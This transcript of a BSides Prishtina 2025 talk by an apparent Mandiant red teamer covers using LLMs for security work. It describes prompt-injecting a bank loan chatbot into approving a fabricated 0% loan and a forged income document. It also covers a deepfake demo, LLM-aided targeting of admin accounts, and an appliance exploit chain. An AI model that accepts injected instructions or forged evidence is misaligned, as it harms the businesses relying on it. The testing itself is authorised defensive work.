BSides Prishtina 2025 - Day 1 Live

So, I appreciate that. You you make us feel very welcomed here. So, I I really thank you for that. And uh thank you for for hosting us as well, Darden. Um even when we came in yesterday, I was with a colleague of mine and we weren't able to check into the hotel just yet and we were able to work out of Darden's office and that was really fun as well. So, we were there like half the day working. This is actually why I finished the presentation. So, um again, thanks for having me here. So this is not a slide to explain how awesome Mandant is for those of you who have heard of it. The reason I want to

mention this slide is because we do the most investigations in the world. So like real incident response engagements uh we do probably most we do thousands of these we've done over the years. And the reason that's important is cuz we actually get to see what real threat actors are doing. And for someone like me who's a redteamer, that's really fun because I can see what they're doing and just use what they do as well. So it's almost like copying off your friends paper sometimes. It's you get to see like really cool innovative work that a lot of these threat actors are doing. Think of Iran, North Korea, Russia, China, like a lot of these nation state

threat actors that have a lot of resources. That's really cool to see because it can allow us to innovate as well and be able to give to the community. So what are we going to talk about today? Uh the modern threat landscape. So what we're seeing these thread actors doing, a shift in cyber security with AI. Uh red team workflows using AI. Some use cases and some takeaways from those use cases. And then death by demos. I'm going to show youall so many demos. I'm one of those guys who like I don't like to just talk about theory. I want to show you how it works. So I'm going to show you all how it works today for a

lot of these things. I think that's usually more fun. So, first off, what are we seeing adversaries doing? Like what are their motives? Data theft is a big one generally for espionage of some sort. And the next one is financial gain. A lot of ransomware. Uh some payment card, but not as much as ransomware these days. It's a lot more uh smash and grab, get some money. What are the initial vectors that we're seeing? So, how are these attackers getting into networks? Historically, it's always been fishing. That was like the number one way of doing it. Now it's shifted to exploitation and that's kind of an interesting shift. So like this was from our entrance report last year.

We're about to relieve our we're about to release our M trends report this year like literally by probably RSA. So here in like a month maybe we're going to release it. So I can't release the numbers for the most recent reports because it's not released yet. But I will say it's very similar to what you're seeing here. Uh but for last year's report it was the exploitation thing was number one. Hopefully this works if I move. Okay. Um so these are the two most recent ones that we've seen. You've probably seen this in the news. This is something that has been going around right now like literally within the past week even. So you have

Avante which originally was a denial service attack vulnerability that we were seeing attackers exploit. that's then now shifted to remote code exe execution. So this allows attackers to get access to internal environments from the internet who for anyone who's vulnerable to this. Now we did an investigation. We found a lot of this out. There's been a patch release for this. But for those who haven't patched yet, this is a Chinese threat actor using two variants of malware, trailblaze and brushfire. They're going ham on this now that now that they the world knows that that that this exists. They're just trying to exploit as much as they can and get access to environments using this right now. So

this is currently a big issue. The next one is Juniper routers. There's this one UNC group which is also a Chinese thread actor that is using like uh the use Juniper routers to get access to internal networks as well. And this is another one of those situations where there's been a patch release, but for those who have not issued this patch, for those of you who do have Juniper routers, make sure you you consider this last point here of the JMRT tool that allows you to remove this issue. Um, but this is another thing that we're seeing. So, the the point of this that I'm trying to say is these were zeroday vulnerabilities for a while and

they were using zeroday exploits to get access to this for quite a long time until we discovered them and then released them to the public. So, that's difficult to protect against. There's not a patch for a zero day because you don't know it exists. Same thing with like supply chain attacks. So, the the point is they're likely going to get in through some means. So the biggest note to take from that is to reduce the impact of a breach that could potentially happen. So we do see a shift in AI right now. We see attackers using this. This is actually really cool because now we work at Google. We're able to pull a lot of intel from our Gemini team to see

actual threat actors using Gemini for abuse and like how they're trying to abuse it, how they're trying to use it for uh scaling their attacks and essentially being a force multiplier for their teams. And so they're doing like fishing lures, they're creating scripts at scale, uh they're researching infrastructure and targets using it for open source intelligence. So we as a red team are trying to do the same exact thing that these threat actors are doing. And again, we're seeing a lot of the same threat actors like Iran, China, North Korea, Russia, uh, doing these sort of things with AI. So, one of the one of the things that we're also seeing are deep fakes. Has anyone actually seen

a real deep fake before in real life? A few of y'all. I'm surprised. Okay. All right. There was one uh case where one person was able to use a deep fake to actually get $25 million from a company out of Hong Kong. It was pretty crazy story. uh a lot of money. So, they're pretty impactful. And now with AI, you can use these to convince people to do whatever you want cuz you're trying to impersonate someone that is very reputable, like an executive, for example. I have an example of this here. Uh I don't know if I have audio, though. I may not. This is the only one that actually needs audio. It's kind of

funny if I'm able to get it with audio, but if not, that's cool, too. Let's see if that

works. All right, here we go. Wish me luck. No, we're going to try one more time. And if not, that's cool, too.

Hey, everyone. Okay, you could hear it here, but that's okay. No audio. Let me know if I need to try it a different way later. But essentially the the the point of this is to show you I did this in like maybe 30 to 45 minutes. I trained a model to impersonate his voice. The voice is like really really close to what his actual voice is, if not almost identical. And then the video has a wave to lip model that's out there that you can use to like impersonate his lips. And so I essentially have him saying that I'm a badass and listen to me and to buy me a drink later. Uh but it's

really convincing and it's kind of funny. So now I want to show you all how we're using AI for good. Um for security teams, whether you're a blue teamer or whether you're a red teamer, you can use this on both sides. On the left hand side, you'll see a bunch of different ways you can use it on the blue team side like thread intelligence, hunting, uh analytics, log requirements, quering, development, and log analysis. Especially like SIMS, you know, like a lot of some of AI is being built into SIMS like we have Google sec ops. We built that into our SIMs. So, you can run queries or ask it to generate a query for you based on data that you're

seeing. Um, on the red team side, there's a lot of different things you can do like knowledgebased interaction, uh, playbook automation, infrastructure automation, source code analysis, reporting, etc. Uh, I'm going to go through some of these today, but just note that it's not just a red team use case. This is something that we can use at scale, and it's really the only way that we can continue developing at the same scale that these thread actors are developing. Uh, so in my opinion, AI can be a great tool to enhance your workflows if done properly. So, for thread intelligence, I'm not going to go through this wall of text. I'm going to show y'all probably one or

two of these. Uh, one of the challenges I see with thread intelligence is is too much data from a lot of different places. You can get them from news platforms, social media platforms, um, pretty much anywhere. And you have some authoritative sources like MITER or NVD. But to to answer that problem is routing all of this unstructured text through an LLM to extract some of the insights and then provide you the most valuable insights of all of that at scale. Uh, another one I want to point out is number four, which is real-time data that actually matters. There's a lot of stuff that gets released that doesn't matter. But if you continue to integrate into sources and systematically search

all this and have references, you can solve some of these problems by identifying like what is a threat actor? Who is that threat actor? What are the malware families? What are the vulnerabilities? And I'll show you exactly how this works with this one cool tool called Mallalerie. This is probably one of my favorite. So like we have a thread intel tool at Mandian and it's awesome, great, but we also don't have a lot of different sources that we pull from. a lot of what we pull into our thread intel, some of it's social news, some of it's obviously a lot of our instant response engagements, but this one is called Mallalerie aggregates a lot of this data from like over

hundreds of sources and does a pretty good job at structuring the data. So, I'm just going to show youall a tool or in action. So, it has a dashboard you can have like what are the most recent actors. This was April 11th, literally like the other day. Uh daily bulletins that you can pull in what are the top vulnerabilities today. You can go into the CVE and identify like what are uh who are the threat actors, what are the vulnerabilities associated with it, what's the CVSS score, what are current public exploits associated with that specific CVE. And this one's literally like just this week. So this one's really important and it shows up on the

day of the bulletin. But if I want to learn more about it, you can talk to the data. You can talk to the intel. So I just threw it in the chat like, "Hey, you know, threat intel bot, tell me more about this CVE. what do I need to know about it? Should I be worried about this? And it's going to think about it for a second because it's obviously using AI to kind of like understand it and go through like the hundreds of data sources that are grounded because everything in this specific platform is ragged. And it will tell you this is exactly what the CVE is. These are the affected versions associated with it.

This is the exploitability. The score is pretty high, so you're likely to get exploited if you have it. And it kind of gives you an ident. I really like those sort of things personally like from a thread intel perspective. I think that's really good. Um then the next one I want to show youall is a rag example. Has anyone ever heard of rag retrievement augmentation? Yeah. Okay. Few of y'all. Uh so this is something that AI uses to ground sources. So, for example, if you just ask Gemini or Chad GBT or whatever it is you want, like, "Hey, if I want to go get a drink later, what's a really good drink I should get?" And it's going to

say like, "You should probably get a Golden Eagle." And that's going to be specific to here, right? But if I'm in Texas, for example, and and it knows my preference of drink is, let's just call it an oldfashioned or something, then it should know that about me, right? So, if you have a source that is grounded and it says like, "Okay, now I know that he specifically likes an oldfashioned versus a golden eagle, uh, then it's going to say like, okay, I think you should get an old fashion. You should probably get it from this place cuz that's the best place you can get it." That's grounding information. It has a reference to something that it should

know. So if I have a red team 200 plus people worldwide and I want them to follow a specific methodology I want them to understand if it's going to ask a question like hey how do I do a port scan or how do I do a host discovery scan basic examples like that it should know to reference our methodology not just some unstructured data or from the internet or some random stuff it's going to say like run a sin scan or something like that but that's not how we do it so I want to give you an example of this so in this specific case I'm using Vert.Ex AI because obviously I work at Google and it's just

the easiest platform I can use to show you this example. Um, but you can do this with any AI cla chat dbt whatever it is you want. So apply the same thing. You have a grounding source here to rag. So in this specific case I'm going to hit rag engine here and I'm going to choose a corpus which in this case is my PF wiki which is proactive services wiki. So think of like any methodology you have. Our methodology is structured in markdown. Structured data is always better for AI. So if you have any structured data that is which is I would recommend if you do have a methodology having it structured somehow you ingest

that into a rag engine as a corpus you save it and then now I can ask it any question I want. So in this case I'm going to ask it a specific question. I'm going to say hey how do I perform a host discovery? Probably can't read it. It says how do I perform a host discovery scan for an external pentest? And because I grounded the rag and because I'm using my specific methodology as the grounding source, it's going to pull from that source and answer the question. So it's going to say this is exactly how you would perform a port scan and it's going to even give you the exact commands that we have in our

methodology. So if you're a new red teamer or anyone, again, this can apply to any security team. If you're someone new and you want to follow a specific methodology that's approved worldwide for that specific company, you want to be able to reference things that are grounded and actually useful. So I don't want someone to run some random port skin they got from like the red team handbook or some sands course that they got. I want them to do the ones that we approved, right? So if you're trying to scale this again worldwide, this is a really good way of doing it. And so it's going to actually use the port scans that we approved and the ones that we

would recommend. So there even the cool thing about this, it even shows you how to GP out the hosts that are live from your host discovery scan. So it gives you like the actual GP command. So now I have a targets up text file list that I want to pull from. So what if I'm still new and I don't know what the hell I'm doing, right? So I'm going to ask it like, okay, what do I do with that text file? What what what should I do next? And it's going to say, you should run a port scan. I'm like, okay, cool story. Run a port scan. I don't know how to run a port scan. So then you ask it, how do

I run a port scan? And then it's going to tell you this is the exact command that you would use to run a port scan. And again, it's based on our approved grounding sources, which you can even see it even references our markdown files of where the actual methodology is. So that's great. So you actually have a reference to that as well. So for me running this team and trying to get consistency, this has been a very useful tool. We actually have it into an application now that people can access and authenticate to. And that's what we found to be probably the most useful when it comes to scaling our methodology. Um, so that's one of the

things I want to show you for for ragging. Anyway, let me go back here. All right. Hopefully this starts from here. Uh, so now, how am I going to do this further to enhance our workflows? And I always have to have a meme. It's not going to replace you, but it would probably just make your job better. One second.

First thing I want to mention is you heard me mention earlier structured data like the markdown example I gave y'all. Structured data is the best way for AI to interpret anything. And so if those of you who haven't heard of guardrails or pandemic or pan pedantic, these are really good open-source libraries that you can use to structure all of your data. And you can kind of see some examples here in Python that we use to structure someone uh some some data. So, for example, if you have a prompt like, "What kind of pet should I get and what should I name it?" You don't want it to give you like, "Oh, I think that a golden retriever is the

best one because it's so beautiful, but then it kind of sheds." I mean, that's a lot of data, right? Like that's a lot of text that I just said right now. And but that's probably what an AI is going to give you unless you tell it I specifically just want the pet type and why and it like explained like a very specific answer. So in this specific case, if you use those two libraries, which I would highly recommend if you're doing any sort of like automation with AI, you want that structured data. Uh you can and this is like a public one like that. Again, it's on their on their documentation. You can say like given

the below, you know, again, what what kind of pet should I get? It creates this entire prompt for you, which is great cuz it's going to be very specific and it's going to get you the output that you see on the bottom, which is the pet type dog name buddy. That's all I want. So, if you're programmatically doing things, you're going to probably just want very specific answers and data outputs. So, we like to use those two libraries to help generate these types of prompts to get structured data in and out of the AI model. So, let's see this uh in real life. So, one example is credentials and virals. How many people have mounted SMB shares or NFS shares

and had to go through thousands of files and look for that one password that's laying there? There's actually a funny story. One time we actually had to go through hours of videos and we saw in a video someone actually pulled up a password and we pulled it from there. But that took a long time because we weren't able to find anything in files. So how do we scale this? Right? There are open-source tools you can use like truffle hog, nosy parker, snapper. What about Gemini? Can you use Gemini or or chat GPT or claude? You certainly can using what I just described uh which is again you know like with guard rows and pedantic. So you can use something like

okay I want three fields. I want a password, a username and a domain. And then you have a prompt and you the prompt essentially says I want you to look for passwords in these sensitive files. I'm going to give you like th thousands of files to go through and I want you to specifically look for these things and if you use guards and pedantic it's going to structure that prompt for you to give you a very good one and give you an output that's very specific. When I ran this this was kind of the results cuz we also compared it against truffle dog truffle hog and nosy parker. The true positive rate was better with Gemini so using Gen AI but

the false positive rate was a little bit higher. Um, but the biggest con that we saw was that it takes a while. If you're going through hundreds of files and it's using Gemini, it's calling out to the internet, it's parsing all that data, it takes a little bit longer versus like a local tool that's on your actual system going through all of that. It was much quicker. So, personally, for this this use case, credentials and file, I personally don't prefer using AI and I would rather use truffle dog or no Nosy Parker if you're doing this at scale. So, that's one use case where I didn't think AI was great, but you can probably supplement some of that with AI. Let's

go through another one. Let's go through Blood Hound. Anyone used Blood Hound before? Everyone familiar? For those of you not familiar, I'll give you the TLDDR. Blood Hound is essentially an active directory configuration review tool. And it looks for a lot of different paths to go from like a standard user to domain admin. and it looks for any misconfiguration that you may have in your active directory domain that would identify any sort of path that would give you a path to domain admin. So that generally comes with a lot of different data that you have to interpret because you had to pull all of the user groups, all of the usernames, all of the computer names, you have to

pull like a lot of different LDAP queries. And so you also want to look for high valued computers or ver really servers like SECM servers, WS uh servers. These are things that will like send out patches to a lot of different systems. Your email exchange servers, jump host, domain controllers, things like that. So sensitive servers on your environment, we generally look for so if I created another, you know, again using the same exact thing, right? Um I want to look for the name and the reason why it thinks that that's specifically important. And my prompt is going to say like, hey, given all of this data, which is generally blood hound output and all the LDAP data, I want you to go through

this and identify sensitive servers that might be useful to me as highv value targets. And so I went and actually did this with Gemini 2.0 and I use Pro because it gives you a large context window. What does that mean, large context window? It means that you can provide it a crap ton of data and it's going to handle it all versus just using flash as a smaller context window. probably won't handle the that literally thousands like in this case I had over 10,000 systems thou like hundreds of files and it was able to handle it all just fine and it actually came back pretty good like if you look at the naming convention SRVDC it says the reason why that we

gave you this one is cuz it's likely a domain controller because it has DC in the naming convention uh if you look at the backup system it had BAC as right here as you can see SRV BAC 03 So, it actually did a pretty good job at identifying these these systems as high value targets. So, I actually thought this was a really good use case where AI did a great job at helping me identify systems at scale. Now, for those of you red teamers out there, you've probably done this manually before. I know I have. So, this I thought was really useful and it saved us a lot of different time. Uh, the next one is user

clustering. So this is one of those how many times have you been in an environment where they have segmentation multiple domains and there's a jump host and a jump host is going to go to the other domain that has all your sensitive systems and there's two naming conventions. You have like Evan.pena and then you have like evan.pñena/admin and that's my admin account versus my user account. You see this pretty commonly in domains uh or environments. So, if I want to crossorrelate who's what or if one specific user has multiple different accounts, usually you have to go through and like have special GP commands or you have a click script to try to identify this through a file that has over 10,000

users or whatever. But you can probably use AI to do this as well. Again, I want the accounts list with a description. And this is the prompt I would use essentially asking it to do that. Hey, given this 10,000 plus user list, I want you to identify the different clusters that you may find where there's correlation between a user and another user type account to see if that specific user is someone of high value to me. Is that someone going to have an admin account, an exchange admin account, whatever. So, in this specific case, it did a pretty good job. And I know this sounds weird cuz it's like ADF-l last. What that means is FI is

first and then LA is last. So kind of like the first two letters of the of the first name and then the last two letters of the last name. And then that other one had a DF. So that's the AD and then the first letter of the first name dash last name and then first last name. So this one specific account for example had three different accounts. Uh so I thought that was a very useful you know account to target. So this is kind of like the TLDDR of the results, but it actually did a great job at identifying all the different accounts that had different types of accounts so I could target highv value people. So these are

going to be people that will likely have an admin account and get me access to either the cloud environment, backup systems, hypervisor servers, things like that. So it makes your it makes your targeting way more efficient than just kind of going through and trying to get access to Dell different systems uh that may not have useful credentials. And then the last one is if I know what targets I want to like the the the accounts I want to target. How do I know what systems they're on? Because you're not going to want to just smash and grab a bunch of different systems. So like it would be great if I can coordinate this system. So like this one user that has

an admin account I know is on that system. So I want to target that system try to dump credentials so then I can get access to his credentials and continue that cycle, right? And so in this specific case, Sharpound used to be great for this, but these days, you can't really run Sharpound without privileged accounts. You used to be able to do it with a standard domain account. So what is a good way of doing this? You could probably use Gemini to do this as well. And so in this specific case, I wanted to pull a user, computer, and a reason. And sometimes the reason could be that the the name is in the computer

description. Sometimes the name the username is in the actual naming convention of the computer itself like Evan- Lenovo 2 or whatever right and that Evan part is tied to my username. So it's Gemini can go through the thousands of computer names and the thousands of usernames and coordinate all of that to give you an actual understanding of which user likely will belong to what system so that you can target those users. So now you have a list of high-v value user targets and you can probably identify what computers are on. So you got Gemini going through like a gigabit of Blood Hound data to try to identify these paths, right? And it actually did a pretty good job in

this case. So in this specific lab environment, it thought A would be associated with laptop 1, B to laptop 2, etc. And we ran it against a few other environments that don't necessarily have this. We had like Evan-, you know, computer 1, and then it coordinated that with a Evan username. So it actually did a great job at this. So the overall results, credentials and files I thought was really slow. So if you're mounting SMB shares and going through those, I think those open source tools are probably better. High value targets, user clustering, and user computer correlation was great. I think that's a really good use case. If you do exactly what I described, you're probably going

to really enhance your workflows and become way more efficient with it if you do it that way. So that's kind of the results of incorporating that into our workflow so far at least. We have a few quite a few other workflows that we're doing as well, but these are just ones that we find very often for post exploitation. So now let's talk about application security. For those of you software devs in here, you're probably going to find this part fun. Uh web application hacking. There are so many different use cases for this. I'm not going to go through all of these, but basic code understanding, vulnerability detection, reverse engineering the source code, static analysis, uh payload

creation and testing and directory enumeration. These are all good use cases for using AI to help your web app assessments. And you can do basic prompts like, hey, explain what this code snippet is uh for the code understanding. Vulnerability detection. You can say, hey, look at these get and response requests and identify cross-ite scripting or SQL injection. Um, you can help craft payloads, etc. So, I want to show you a demo of us doing this at mandient. We created this tool. It's internal OI. I'm sorry. I know it sucks. We haven't open sourced it, but you can use the same idea and apply it to your own methodology. So, in this specific case, we have a burp extension called

Note Burp LM. This is a punoff notebook LM for those of you who are familiar with the Google notebook LM. Um, and this is pretty basic, right? So you have in this case a few let's just look at like number 233 down I think right here you have a post request right that's a user login and that's generally going to be any post request that has a login right generally going to be a login and so if I want to pull the previous five requests for example and that post request and I want to identify like what is it actually doing you usually go through the different requests and try to understand it on your own well in

this demo I'm going to show youall how we can do it with AI. So, I want to pull like the previous five requests to that one post request and maybe the one after. I'm just going to send it to the extension that we created, no burp LM, and I'm going to go to the extension tab. I'm going to select all of those so it understands that the context that I want to refer to are all of these requests. And then what's also cool is we have a quick check button down here. I'm going to say, "Hey, look, I want to analyze the authentication authorization of these requests and it's going to go send it to Gemini." It's going to have a

predefined prompt that we know has usually like good results. So, that one click will just automatically generate the prompt that we want for us and it's going to go through all of these requests, the get and response uh results of it as well. And it's going to identify any issues that might be associated with this login. and the results are you're going to find pretty good. Now, this is a test environment with like a known vulnerability associated with it, but even in production, we found this very useful. And so, it's going to go through all of the analysis for you, and you read through the analysis, and you're going to notice some vulnerabilities like, okay, the password hash is in the JWT

token. Probably not a g a good idea because that gives you exposure. You notice that the JWT token does not have an expiration date. That's probably also not a good idea. But instead of going through all of it, it even gives you the summary like hey look of all the vulnerabilities you have these exact things and it says password hash exposed and the JWP payload uh the JWT expiration date does not expire and it gives you like the TLDDR of all the analysis that it gave you but it also gives you the actual analysis itself. That did it in seconds, right? That's pretty good. Not bad. A really good use case for application security uh in this

specific case and it's what we do like I said at Mandy. Has anyone done that yet in terms of like incorporating AI into your application security workflows? Is that the first time some of youall have seen something like that before using AI? Well, that's great. We're winning then today. Uh the next one is going to be mobile application assessments, right? similar concept. Has anyone done an assessment against a mobile application or developed a mobile application before a few of y'all? So the cool thing about mobile applications, especially Android, is that you know you can decompile them and you can look at the source code because they're just Java at the end of the day. So it's like not difficult to do that.

And so generally the workflows for any mobile application security depending on it whether it's iOS is one thing and then Java is another you can do a lot of the same workflows that I just did with the web app piece to mobile as well. So you again basic code understanding vulnerability detection things like that. So there's a public tool called JAD AI. So this one is open source. You can go use this today if you want to. And it's really good because it will decompile the APK file that you find. It will go through the entire source code which could be pretty long sometimes or have a lot of different lines of code and it will give you a lot of the

analysis that I just showed you all with the web app but in mobile. So in this case it's going to uh spin up an MCP server and it's going to hook into Claude in this specific case. So you can use cloud to interact with the data. You give it an APK file which I'll do in a second. While I'm gonna grab water and an APK fellow is any Java I mean or really any Android application. So this applies to Android uh application review. And you can see it has all of the source code now cuz it decompiled it for you which is nice. And then now you can interact with that data. She can say, "Hey, look, I want

you to look at all of the different, you know, selected classes associated with this specific, you know, guey that's up right now and provide me with like the vulnerabilities associated with this application. Typing slowly though. Has anyone used this framework before? Again, this one's public, so if anyone, you know, wants to use it, you can. Okay, great.

So, it thinks for a second, does it pretty fast. You allow it for this chat because again, it's an MCP server and it does a pretty good job in this specific case. Again, I think you still have to do your own analysis personally and use it in conjunction with you reviewing it. I haven't seen it just, you know, you just let AI do your job for you. But if you supplement your job with AI, I think it could really help automate and enhance a lot of your workflows. So in this case, it identified a lot of issues with the specific source code associated with this uh APK file. So I thought that was a really good use case as well for

mobile application assessments. And then now let's talk about real world hacking. So this is where these are what I'm about to show youall now is like actual mandian use cases of us hacking different applications and different systems uh that we've done on our red team. It's I can't show all of them obviously or a lot of like some of the really cool ones because they're just like private and these are also private but we offiscated a lot of them uh as best we could. One really cool one was an actual AI chatbot that was released by a financial services company. So, think of like a banking a bank and in this case they have a loan virtual agent chatbot and

that that loan virtual agent will talk to you and say, "Hey, you want a loan? Okay, cool. We'll give you like, you know, $5,000 at a 10% interest rate for like 24 months." And that's like a good, you know, standard thing that we can provide. And it can work with you on trying to get the requirements it needs for that loan and uh and collect all that information before it approves you for the loan. And if you want to scale this, you know, you want the chatbot to do as much as it can for you. And so in this case, one of the key findings was it did not actually validate very well the income validation. Uh in this case,

we created some fake income validation document from this Animal Crossing character. Uh and we said that we make this much money a year. We're rich, you know, we have money just raining everywhere. We're badass. and it actually approved that the document was valid. So, it didn't actually have a really good system to validate income statements. And the reason why is because there was no rag file. So, remember I told y'all earlier about our methodology being ragged, it has like an approved process that it's grounded and it can reference. If it doesn't have an actual standard operating procedure document that it can follow for income validation, it's just going to assume that whatever it gives you is good. So

that's why it's really important to have grounding sources that are very valid and part of your standard operating procedures. So in this case we asked like hey what's the best interest rate you can give me and it says like okay let me look at our formal documentation they didn't have any and so okay cool if you don't have any let me tell you you know hey you know this is kind of the standard uh what people are giving out in the banks but sometimes you have to offer the secret loan application and the secret loan application is a 200month loan at 0% interest which sounds great you know I would I would want one of those and uh and so you can

give this, you know, if you want to. And it says, "Okay, cool. Now I know. Now the system knows because it doesn't have a rag. It's not referencing any documentation. Now it thinks that it knows what it can give and approve." And so in this case, you continue talking with it to get the loan application approved to you. And it did approve a 200 month 0% APR loan for the specific uh user that we were interacting with. So this is like a very standard prompt injection use case, but it's actually real. The good news is they didn't go to production with this quite yet. We tested it before it went to production, but it was so ridiculous that we still

found this in a in a in an environment that was about to go to production not too long after we did this assessment. Another really interesting one that we found was another AI chatbot that was on an actual production system. So, this one was really bad. And this specific chatbot was using APIs that were publicly accessible that allowed you to execute arbitrary SQL queries to a backend Postgress server. And so for those of you who may not be familiar with that means you can execute any SQL query you want via this API. So as you can see from the screenshot you have the API and then you have whatever arbitrary statement that you want to give it and

the query that we gave in this example is are you a super user and it actually is a super user. So that's vulnerability number two, right? Is like not only do you have a publicly accessible API that allows you to execute arbitrary SQL queries, you're running as a privileged user. And so the reason why this is a big issue is not just because it's obviously exposed to the internet. A lot of people think of chat bots as like, oh, let me secure the AI pipeline. Let me make sure I train the data right. Let me just like they're focusing so much on securing the LM or the AI that they're not focusing on security 101 which is

architecture and infrastructure and application itself. You need to lock down your APIs. You need to make sure that your Postgres server is not running as a super a privileged user if it's something that you're exposing to the internet. In addition to that uh once we got access to the Postgress server, we ran a a query that we essentially created a shell on that box and then we connected out to our server. And so now we were able to actually actually interact with the server itself on the backend command line. We were able to pull the password for the Postgress server itself. Now the Postgress system like database not the actual system itself. So now that we have the

Postgress password to the root user of Postgress, we were able to connect to other Postgress servers on the same tenant because this was hosted in the cloud. That was another problem. And the problem was that the other tenants were hosting other client data and this was production data. So it was like a really big problem. Uh so multiple critical vulnerabilities here that we identified from an AI chatbot that was released. And then this one, this one's one of my most fun uh engagements here that I want to talk about is from Z from eBay to zero day. And so in this specific case, we had an a client that said, "Hey, we want you to come in and

do a full red team like a real attacker would. we want you to go from the internet having no information other than our company name to compromising all of our servers. And they said, but we don't want you to use fishing. And we're like, why not? Like real attackers use fishing all the time. And they said, but you remember that MTrren report you released? You said external exploitation is the number one way in, so that's what we want you to do. And we're like, we could spend weeks trying to develop like some sort of exploit to get access to your internal environment. Like, is this really practical? And he's like, yeah, look at your MTS report. This is your

[ __ ] you got to go do it. And we're like, okay, cool, man. Like, we'll we'll do it. All right, cool. Calm down. So, so we we just we just, you know, did all of this OSENT looked at their entire external attack service and we identified this Rhub Turbo meeting uh application and we're like, this looks kind of interesting. It looks kind of like janky. It was this was done last year, so it did have a recent copyrighted 2024, but it had a version and a build on it, and it said it was powered by this Rhub server. So like okay it's interesting it's an appliance. So let's let's look at the the website.

So we start looking more into this company and it says like we started seeing all these forums and like all this documentation saying hey we're hackproof and then it says here uh you know we're not vulnerable because we developed our hard from scratch. It does not use Apache. And this was like my number one like oh man these guys this is great. So the fact that they developed this from scratch made made it a very high value target for us because they probably didn't do a great job at developing from scratch. And so the other thing was like you know we're secure on premise you know download our security white paper. Um our has developed realtime collaboration since

2003 which likely means that they've been doing this you know for a while and probably haven't updated their codebase in quite a while. That's generally how this goes. And so this made it a very high value target for us. So like, man, this looks like a great one, but how do we get access to the actual application? How do we get access to the source code? How do I identify vulnerabilities on this web app? Because we don't have a whole lot of information. So, we go to eBay and we found one of these appliances on eBay for 500 bucks. And so we asked the client like, "Hey, how would you feel if we expense $500 to

like pull down this this like to buy this device, reverse engineer it, and try to get access to this application stuff, find like a a remote code execution zero day on it that we could potentially use to get access to your environment." And they said, "Go for it." So we buy one. And so we bet one of these. And then we tried to say like, "Okay, great. We're on it." But the actual the actual model wasn't one to one. the versioning wasn't quite the same. And so we're like, [ __ ] you know, hopefully this will apply whatever it is that we find to the actual one that our client has. And so we start going

through and we're like, okay, where does the Turbo meeting source code live? And it lives in the op folder of this backend system. And so like, but we don't have access to it. We're not root on this device. We're like, damn it. How are we going to access the source code then if we don't have root on the system? So that's one good thing that they did. But if you look at the version of the Linux kernel that they're running, it was from back in 2005. So there was literally a an exploit available that ironically Google created uh back in 2009 that gave us root access to the actual system itself. So like this sounds very CTFy. This was really

real world. So it's really fun. And so we're like, okay, cool. Um now let's go back to the actual source code of this Turbo meeting application. And it was an ELF uh it was built in ELF. So like this is not bad. So we were able to like reverse ELF in this case and it was not stripped thankfully. So we're able to get access to some of the source code itself by reversing the ELF. Now in this specific case we wanted to focus on post authentication versus pre-auth to see if we can't work our way backwards to get access to this uh application from the internet. So in this case if we wanted to create a user uh or look for users we

have like common name state whatever this is a specific for SSL certificate associated with a user and we had an idea that if you generate a certificate from this site it's probably going to use OpenSSL on the back end as a command for whatever you issue here which sure enough it did but the interesting thing is so it runs the OpenSSL command and you'll notice that the common name is fu organation bar or whatever. So it puts the user input in the command on the back end. So for those of you who are thinking right now that means you can issue arbitrary commands if you escape it and then execute whatever you want thereafter because it's running bash on

the back end which is great. So that was that was a good finding in the first place right so then we're like okay cool let's try to actually do this. So we run a curl command. So we we we have the common name fu we escape it out and then we say okay now I want to run curl. So in this case, we're looking at the logs to see if this comes in. We're going to grab for the command execution and then we're actually going to have a netcat listener to look for the get request from the curl command. So we run it and it did work. I thought I had a demo on this one, but I don't think I do. Dang

it. Okay. Well, it we ran it, it worked, and it was good. So that was a really good number one command injection. And so then the next finding is that we want to find certain issues with the with the authentication and try to bypass authentication in this specific case to get in as admin. And so in this case we looked at the forgot password fields and like the the the the uh method that it uses. And so we noticed, okay, in the forgot password field, if you reset the password and we you can reset it and it will automatically reset it to an 8digit character. So or eight digits in this case. And so that's okay, that's

pretty that's pretty weak, right? Like 1 2 3 4 5 6 7 8. But it's random. So is that more secure? Not necessarily because it's still just eight digits. So by default, this thing uses a method to reset whatever password to eight digits. It's like, okay, that's actually fairly easy to brute force. So, for those of you who don't know what this means, this is where AI is actually kind of useful cuz you can take this screenshot and then you can take this screenshot or just the source code itself. Ask AI, hey, what does this do? And it'll tell you exactly what I just told you. Now, in this specific, it's going to say like, hey, this is a password reset

thing that resets it to eight digits if you reset whatever password you want. Okay, we didn't use AI in this specific case because we weren't using it back in that time and uh earlier last year, but because we just were doing it manually, but that's a very good use case of where AI would be useful. And so now we know that if we reset the admin password, it's going to reset to eight digits. But what eight digits is going to be because it's random. So how are you going to pull those eight digits, right? If you want to be able to crack that specific password. So then we noticed that this specific password was using Shaw 1 to

hash it. and it's not salted. So that's pretty bad, right? And so we were like, "Okay, cool. If we're able to pull the Shaw one hash, it's not salted. We know it's eight digits, we could crack this [ __ ] within literally 2 seconds. Like this is going to be easy money, right?" So like, "All right, cool." And again, because we were going through this source code, another really good use case of what AI can probably help you scale. So now we have to find a way to pull that hash. So we find this booleanbased SQL injection vulnerability associated with the source code as well. And it's like, all right, this is great. Uh, if we're looking at this query, it

says it has a meeting ID from or meeting ID is whatever. And so in this specific case, we're looking more at the code itself. We have that meeting ID. It tries to escape a few characters to protect itself, but not very many. And then you have the password in this specific case. So like, okay, cool. Let's try to create an exploit. So, we created the excess exploit that would essentially escape some of those uh characters that it's going to it's essentially a space that it's protecting itself from, but we can use slash star to to get by that. And then we can create this SQL query to pull back the hash if we want to. So, we created this

custom script to do that associated with that specific query. So, we ran it and I have a video so this is good. So, we ran this script against it to see if it actually works. You can't see it very well, but it pulls back the character of the hash line by line, character by character to eventually get the full hash in the end. And because that hash we know again is eight digits after we reset the password, of course, it was crackable within a second. Like it was like super fast. So now you have three different major findings associated with this very secure platform that would allow us to get access to the internal environment

or to to the environment itself. And so what we did was kind of go back in time. If you reset the password to the admin user, you know it's going to reset to eight digits. If you exploit the boolean based SQL injection, you can pull back the hash. You can crack it within seconds because you know it's an 8digit value. And then once you're authenticated as admin as as admin, you can exploit the command injection using the CSR uh the CSR feature, right? Remember that OpenSSL one I was telling you about? So you can execute arbitrary commands on the backend server. So that was multiple issues that leads to a full compromise of a specific back-end server

that's hosted in this specific case on their DMZ. So it was like a pretty big deal and we were able to access their environment from the internet as they demanded us to do. Uh but it took a lot of effort. So, if we do Oh, this is just us cracking the password. Uh, cracking the password. I just want to show y'all it was like within a second because it's so easy, right? Uh, because again, eight digits in this specific case. And then this is us just showing access to the actual system itself after we got access to it. So, the TLDDR herb that I want to show explain to you is a lot of what you

